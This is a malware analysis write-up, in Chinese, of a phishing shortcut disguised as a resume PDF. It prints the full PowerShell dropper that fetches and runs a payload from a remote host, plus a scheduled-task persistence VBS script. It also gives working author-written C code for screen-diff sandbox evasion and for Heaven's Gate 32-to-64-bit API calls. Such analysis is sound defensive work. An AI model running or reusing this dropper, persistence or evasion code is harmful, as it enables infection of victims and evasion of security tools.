(1) UAC 绕过方法的三种方法以及代码实现
(2)样本终止与对抗杀软的实现方式
(3)反沙箱实现方式
钓鱼部分
钓鱼方式采用的是使用powershell lnk伪装为个人简介pdf
Hash:
- SHA256:ae857addc8eb51dbfa7d0a76b19dae7a6f275f7bf1042d1c982aca4f80ce635e
- MD5:f5b9ad341ccfe06352b8818b90b2413e
- SHA1:1b3a15955779e11424698f67bd305e15f6750fca
查看文件属性可以发现具体的powershell命令

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ep Bypass -w h $localPath = (Get-Location).Path; Remove-Item -Path "$localPath\我的简历.lnk" -Force; $h='ht'; $t='tps'; curl "${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf" -o "$localPath\我的简历.pdf"; Start-Process -FilePath "$localPath\我的简历.pdf"; if (-not (Test-Path "$env:APPDATA\Security")){ New-Item -Type Directory "$env:APPDATA\Security" -Force|Out-Null }; curl "${h}${t}://pan.tenire.com/down.php/83b341a1caab40ad1e7adb9fb4a8b911.zip" -o "$env:APPDATA\Security\pkg.zip"; Expand-Archive -Path "$env:APPDATA\Security\pkg.zip" -DestinationPath "$env:APPDATA\Security" -Force; Remove-Item "$env:APPDATA\Security\pkg.zip" -Force; & "$env:APPDATA\Security\keytool.exe"; & "$env:APPDATA\Security\CreateHiddenTask.vbs";
指令解释:
powershell.exe -NoP -ep Bypass -w h
-NoP:不加载 PowerShell Profile-ep Bypass:绕过执行策略-w h(-WindowStyle Hidden):窗口隐藏
$localPath = (Get-Location).Path;
Remove-Item -Path "$localPath\我的简历.lnk" -Force;
- 获取当前工作目录(通常就是双击快捷方式所在目录)
- 删除
我的简历.lnk
$h='ht'; $t='tps';
curl "${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf" -o "$localPath\\我的简历.pdf";
Start-Process -FilePath "$localPath\\我的简历.pdf";
- 拼出
https - 下载一个 PDF 文件立刻打开给用户看
if (-not (Test-Path "$env:APPDATA\Security")){
New-Item -Type Directory "$env:APPDATA\Security" -Force
};
//C:\Users\<User>\AppData\Roaming\Security
- 在 AppData 下创建隐藏工作目录
curl "https://pan.tenire.com/down.php/xxxx.zip" -o "$env:APPDATA\Security\pkg.zip";
Expand-Archive -Path "$env:APPDATA\Security\pkg.zip" -DestinationPath "$env:APPDATA\Security" -Force;
Remove-Item "$env:APPDATA\Security\pkg.zip" -Force;
- 下载压缩包
- 解压到
AppData\Security - 删除 zip
& "$env:APPDATA\Security\keytool.exe";
& "$env:APPDATA\Security\CreateHiddenTask.vbs";
- 运行 EXE
- 执行 VBS 脚本
下载的pkg.zip

根据powershell命令分析可以发现,会自动启动keytool.exe与CreateHiddenTask.vbs
CreateHiddenTask.vbs
HASH
- SHA256:190d493255c71f3cebb968c197aeef67c62d597b488c4a0b8cd77751e5999b94
- MD5:6ea9555f1874d13246726579263161e8
- SHA1:9ab44514add105acdb17e298744d6a3124ee490d
先查看vbs脚本
Set WshShell = CreateObject("WScript.Shell")
Set service = CreateObject("Schedule.Service")
Set fso = CreateObject("Scripting.FileSystemObject")
service.Connect
Set taskDefinition = service.NewTask(0)
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Author = "Microsoft Corporation"
regInfo.Description = ""
' 设置触发器(每天执行一次,24小时间隔)
Set trigger = taskDefinition.Triggers.Create(2) ' 2 = TASK_TRIGGER_DAILY(每日触发器)
trigger.StartBoundary = "2025-8-01T08:01:01" ' 设置开始时间(例如每天0点)
trigger.DaysInterval = 1 ' 间隔1天
trigger.Enabled = True
' 设置操作(启动程序)
Set action = taskDefinition.Actions.Create(0)
action.Path = WshShell.ExpandEnvironmentStrings("%APPDATA%") & "\Security\keytool.exe"
' 注册任务到根目录
service.GetFolder("\").RegisterTaskDefinition "Security", taskDefinition, 6, , , 3
If fso.FileExists(WScript.ScriptFullName) Then
fso.DeleteFile WScript.ScriptFullName ' 删除自身
End If
设置计划任务,实现keytool.exe持久化
keytool.exe
HASH
- SHA256:367c0bbc72b885e313f6731e98c7e4fa2d95c3cadb76e642a8492f8b12b3d9de
- MD5:e94e7b953e67cc7f080b83d3a1cdcb1f
- SHA1:74add8e181ad365e7e2e16317b61dc19e6a78480

数字签名过期

白加黑?这个文件是一个正常的文件,会调用jli.dll
jli.dll
HASH
- SHA256:3f7819debdca5df5a6cd50147b51bceba12c5e0f8a6961b1612777080496dde1
- MD5:3ca440a3f4800090ee691e037a9ce501
- SHA1:3177fe43cdaa6c519d47a9225735e4e503901576


读取keytool.exe,然后在这个可执行文件中查找1C 3B 7E FF,然后读取大小为0xE60

在提取到指定数据之后选择使用RC4进行解密,key为:123cba

exp:
def rc4_decrypt(key, data):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
res = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(byte ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def main():
input_file = "keytool.exe"
output_file = "payload_decrypted.bin"
key = b"123cba"
magic_tag = b'\x1C\x3B\x7E\xFF\x1C\x3B\x7E\xFF'
payload_size = 0xE60
try:
with open(input_file, "rb") as f:
file_data = f.read()
tag_pos = file_data.find(magic_tag)
if tag_pos == -1:
return
start_pos = tag_pos + len(magic_tag)
encrypted_data = file_data[start_pos : start_pos + payload_size]
if len(encrypted_data) < payload_size:
print(f"[!] 警告:提取的数据长度 ({len(encrypted_data)}) 小于指定的 Size ({payload_size})")
decrypted_data = rc4_decrypt(key, encrypted_data)
with open(output_file, "wb") as f:
f.write(decrypted_data)
print(f"[+] 解密完成!结果已保存至: {output_file}")
except FileNotFoundError:
print(f"[-] 错误:找不到文件 {input_file}")
except Exception as e:
print(f"[-] 发生错误: {e}")
if __name__ == "__main__":
main()
解密之后在sub_100015B0中为运行shellcode的逻辑

sub_10001380取出 WOW32Reserved 字段的值

这里采用了天堂之门技术

EA: 是长跳转的机器码
33 00: 这是段选择子;在 64 位 Windows 中,0x33 指向 64 位代码段,0x23 指向 32 位代码段
shellcode
不用针对天堂之门进行分析,直接对得到的shellcode进行分析即可

遍历整个shellcode寻找2A 5E 26 23 24 5E 26 25

其实通过下面的分析可以知道,这部分类似于config

sub_13C0D4D采用hash来获取api


动调能拿到所有涉及到的api
动调可以发现前面部分的判断v70[105]、v70[106]、v70[107],这三个判断条件都来自于读取的config,而这里的config对应位置为0,故直接跳转到网络部分

sub_13C0A81网络模块

通过patch config分析其他模块功能
UAC
GetModuleFileNameA找到样本现在在磁盘的什么位置,调用 ShellExecuteExA,传入 "runas"(这样的提权会出现用户提示弹窗


隐藏窗口
通过遍历桌面所有窗口,找到属于自己进程的窗口并将其强制隐藏

反沙箱

反沙箱,每隔2s截图,然后按字节对比两张图片的像素点,如果变化超过20000点像素则说明不是沙箱
#include <windows.h>
#include <stdio.h>
BOOL GetScreenPixels(BYTE* buffer, int width, int height) {
HDC hScreenDC = GetDC(NULL);
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height);
HGDIOBJ hOldObj = SelectObject(hMemoryDC, hBitmap);
BitBlt(hMemoryDC, 0, 0, width, height, hScreenDC, 0, 0, SRCCOPY);
BITMAPINFO bmi = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmi.bmiHeader.biWidth = width;
bmi.bmiHeader.biHeight = -height;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = BI_RGB;
int result = GetDIBits(hMemoryDC, hBitmap, 0, height, buffer, &bmi, DIB_RGB_COLORS);
SelectObject(hMemoryDC, hOldObj);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
return (result > 0);
}
int main() {
int width = GetSystemMetrics(SM_CXSCREEN);
int height = GetSystemMetrics(SM_CYSCREEN);
int dataSize = width * height * 4;
BYTE* buf1 = (BYTE*)malloc(dataSize);
BYTE* buf2 = (BYTE*)malloc(dataSize);
if (!buf1 || !buf2) return -1;
GetScreenPixels(buf1, width, height);
int maxAttempts = 1800;
for (int i = 0; i < maxAttempts; i++) {
Sleep(2000);
if (GetScreenPixels(buf2, width, height)) {
long diffCount = 0;
for (int j = 0; j < dataSize; j++) {
if (buf1[j] != buf2[j]) {
diffCount++;
}
}
if (diffCount > 20000) {
break;
} else {
}
}
}
free(buf1);
free(buf2);
return 0;
}
天堂之门
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <iostream>
void memcpy64(uint64_t dst, uint64_t src, uint64_t sz);
void GetPEB64(void* peb64);
uint64_t GetModuleHandle64(const WCHAR* moduleName);
uint64_t MyGetProcAddress(uint64_t moduleBase, const char* funcName);
uint64_t X64Call(uint64_t proc, uint32_t argc, ...);
uint64_t GetKernel32();
uint64_t GetProcAddress64(uint64_t module, const char* func);
uint64_t LoadLibrary64(const char* name);
typedef struct _UNICODE_STRING64 {
uint16_t Length;
uint16_t MaximumLength;
uint32_t Pad;
uint64_t Buffer;
} UNICODE_STRING64;
void memcpy64(uint64_t dst, uint64_t src, uint64_t sz) {
static uint8_t code[] = {
0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB,
0x56, 0x57,
0x48, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
0x48, 0xBF, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
0x48, 0xB9, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
0xF3, 0xA4,
0x5E, 0x5F,
0x6A, 0x23, 0x68, 0x78, 0x56, 0x34, 0x12, 0x48, 0xCB,
0xC3
};
static uint32_t ptr = NULL;
if (!ptr) {
ptr = (uint32_t)VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (int i = 0; i < sizeof(code); i++) ((PBYTE)ptr)[i] = code[i];
}
*(uint32_t*)(ptr + 3) = ptr + 8;
*(uint64_t*)(ptr + 12) = src;
*(uint64_t*)(ptr + 22) = dst;
*(uint64_t*)(ptr + 32) = sz;
*(uint32_t*)(ptr + 47) = ptr + 53;
((void(*)())ptr)();
}
void GetPEB64(void* peb64) {
static uint8_t code[] = {
0xBE, 0x78, 0x56, 0x34, 0x12, 0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB,
0x65, 0x48, 0xA1, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x67, 0x48, 0x89, 0x6,
0x6A, 0x23, 0x68, 0x78, 0x56, 0x34, 0x12, 0x48, 0xCB,
0xC3
};
static uint32_t ptr = NULL;
if (!ptr) {
ptr = (uint32_t)VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (int i = 0; i < sizeof(code); i++) ((PBYTE)ptr)[i] = code[i];
}
*(uint32_t*)(ptr + 1) = (uint32_t)peb64;
*(uint32_t*)(ptr + 8) = ptr + 13;
*(uint32_t*)(ptr + 31) = ptr + 37;
((void(*)())ptr)();
}
uint64_t X64Call(uint64_t proc, uint32_t argc, ...) {
uint64_t* args = (uint64_t*)(&argc + 1);
uint64_t ret = 0;
static uint8_t code[] = {
0x53, 0x89, 0xE3, 0x83, 0xE4, 0xF8,
0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB,
0x56, 0x57,
0x48, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x8B, 0xE, 0x48, 0x8B, 0x56, 0x8, 0x4C, 0x8B, 0x46, 0x10, 0x4C, 0x8B, 0x4E, 0x18,
0x48, 0xB8, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x83, 0xF8, 0x4, 0x7E, 0xB, 0x48, 0x8B, 0x7C, 0xC6, 0xF8, 0x57, 0x48, 0xFF, 0xC8, 0xEB, 0xEF,
0x48, 0xB8, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0,
0x48, 0xBF, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x89, 0x7,
0x5F, 0x5E,
0x6A, 0x23, 0x68, 0x78, 0x56, 0x34, 0x12, 0x48, 0xCB,
0x89, 0xDC, 0x5B,
0xC3
};
static uint32_t ptr = NULL;
if (!ptr) {
ptr = (uint32_t)VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (int i = 0; i < sizeof(code); i++) ((PBYTE)ptr)[i] = code[i];
}
*(uint32_t*)(ptr + 9) = ptr + 14;
*(uint64_t*)(ptr + 18) = (uint64_t)args;
*(uint64_t*)(ptr + 43) = (uint64_t)argc;
*(uint64_t*)(ptr + 70) = proc;
*(uint64_t*)(ptr + 86) = (uint64_t)&ret;
*(uint32_t*)(ptr + 102) = ptr + 108;
((void(*)())ptr)();
return ret;
}
uint64_t GetModuleHandle64(const WCHAR* moduleName) {
uint64_t peb64;
uint64_t ldrData;
uint64_t head;
uint64_t pNode;
GetPEB64(&peb64);
memcpy64((uint64_t)&ldrData, peb64 + 0x18, 8);
head = ldrData + 0x10;
memcpy64((uint64_t)&pNode, head, 8);
while (pNode != head) {
uint64_t buffer;
memcpy64((uint64_t)&buffer, pNode + 96, 8);
if (buffer) {
WCHAR curModuleName[128] = { 0 };
memcpy64((uint64_t)curModuleName, buffer, 250);
if (!lstrcmpiW(moduleName, curModuleName)) {
uint64_t base;
memcpy64((uint64_t)&base, pNode + 48, 8);
return base;
}
}
memcpy64((uint64_t)&pNode, pNode, 8);
}
return NULL;
}
uint64_t MyGetProcAddress(uint64_t moduleBase, const char* funcName) {
if (!moduleBase) return 0;
uint8_t headers[0x1000];
memcpy64((uint64_t)headers, moduleBase, 0x1000);
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)headers;
PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(headers + dos->e_lfanew);
uint32_t exportRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!exportRVA) return 0;
IMAGE_EXPORT_DIRECTORY expDir;
memcpy64((uint64_t)&expDir, moduleBase + exportRVA, sizeof(expDir));
for (uint32_t i = 0; i < expDir.NumberOfNames; i++) {
uint32_t nameRVA;
memcpy64((uint64_t)&nameRVA, moduleBase + expDir.AddressOfNames + i * 4, 4);
char name[256] = { 0 };
memcpy64((uint64_t)name, moduleBase + nameRVA, 255);
if (strcmp(name, funcName) == 0) {
uint16_t ordinal;
memcpy64((uint64_t)&ordinal, moduleBase + expDir.AddressOfNameOrdinals + i * 2, 2);
uint32_t funcRVA;
memcpy64((uint64_t)&funcRVA, moduleBase + expDir.AddressOfFunctions + ordinal * 4, 4);
return moduleBase + funcRVA;
}
}
return 0;
}
uint64_t GetKernel32() {
static uint64_t kernel32 = 0;
if (kernel32) return kernel32;
uint64_t ntdll = GetModuleHandle64(L"ntdll.dll");
if (!ntdll) {
printf("未能找到ntdll64.dll。\n");
return 0;
}
printf("ntdll64.dll地址: 0x%llX\n", ntdll);
uint64_t LdrLoadDll = MyGetProcAddress(ntdll, "LdrLoadDll");
if (!LdrLoadDll) {
printf("未找到 ntdll!LdrLoadDll\n");
return 0;
}
printf("ntdll!LdrLoadDll地址: 0x%llX\n", LdrLoadDll);
const wchar_t* dllName = L"kernel32.dll";
UNICODE_STRING64 us;
us.Length = wcslen(dllName) * 2;
us.MaximumLength = us.Length + 2;
us.Buffer = (uint64_t)dllName;
us.Pad = 0;
uint64_t status = X64Call(LdrLoadDll, 4, (uint64_t)0, (uint64_t)0, (uint64_t)&us, (uint64_t)(&kernel32));
return kernel32;
}
uint64_t GetProcAddress64(uint64_t module, const char* func) {
static uint64_t K32GetProcAddress = 0;
if (!K32GetProcAddress) {
K32GetProcAddress = MyGetProcAddress(GetKernel32(), "GetProcAddress");
}
return X64Call(K32GetProcAddress, 2, module, (uint64_t)func);
}
uint64_t LoadLibrary64(const char* name) {
static uint64_t LoadLibraryA = 0;
if (!LoadLibraryA) {
LoadLibraryA = GetProcAddress64(GetKernel32(), "LoadLibraryA");
}
return X64Call(LoadLibraryA, 1, (uint64_t)name);
}
void Test() {
uint64_t ntdll = GetModuleHandle64(L"ntdll.dll");
printf("成功获取 64位 ntdll.dll: 0x%llX\n", ntdll);
if (!ntdll) return;
uint64_t NtAllocateVirtualMemory = MyGetProcAddress(ntdll, "NtAllocateVirtualMemory");
printf("NtAllocateVirtualMemory: 0x%llX\n", NtAllocateVirtualMemory);
if (NtAllocateVirtualMemory) {
uint64_t baseAddress = 0;
uint64_t regionSize = 0x1000;
uint64_t currentProcessHandle = -1;
// NtAllocateVirtualMemory
// NTSTATUS NtAllocateVirtualMemory(
// HANDLE ProcessHandle,
// PVOID *BaseAddress,
// ULONG_PTR ZeroBits,
// PSIZE_T RegionSize,
// ULONG AllocationType,
// ULONG Protect
// );
uint64_t status = X64Call(NtAllocateVirtualMemory, 6,
currentProcessHandle,
(uint64_t)&baseAddress,
(uint64_t)0,
(uint64_t)®ionSize,
(uint64_t)(MEM_COMMIT | MEM_RESERVE),
(uint64_t)PAGE_EXECUTE_READWRITE
);
printf("返回状态码 (NTSTATUS): 0x%llX\n", status);
if (status == 0) { // 0 等于 STATUS_SUCCESS
printf("内存地址: 0x%llX\n", baseAddress);
printf("内存大小: 0x%llX (4096 Bytes)\n", regionSize);
}
else {
printf("[-] 分配失败。\n");
}
}
}
int main() {
BOOL isWow64 = FALSE;
IsWow64Process(GetCurrentProcess(), &isWow64);
if (!isWow64) {
printf("错误\n");
system("pause");
return 1;
}
return 0;
}

实现了一个简单的开辟内存空间操作,在win11\10上测试可以正常使用。
这个代码在拥有360环境下会被查杀,虽然并没有恶意操作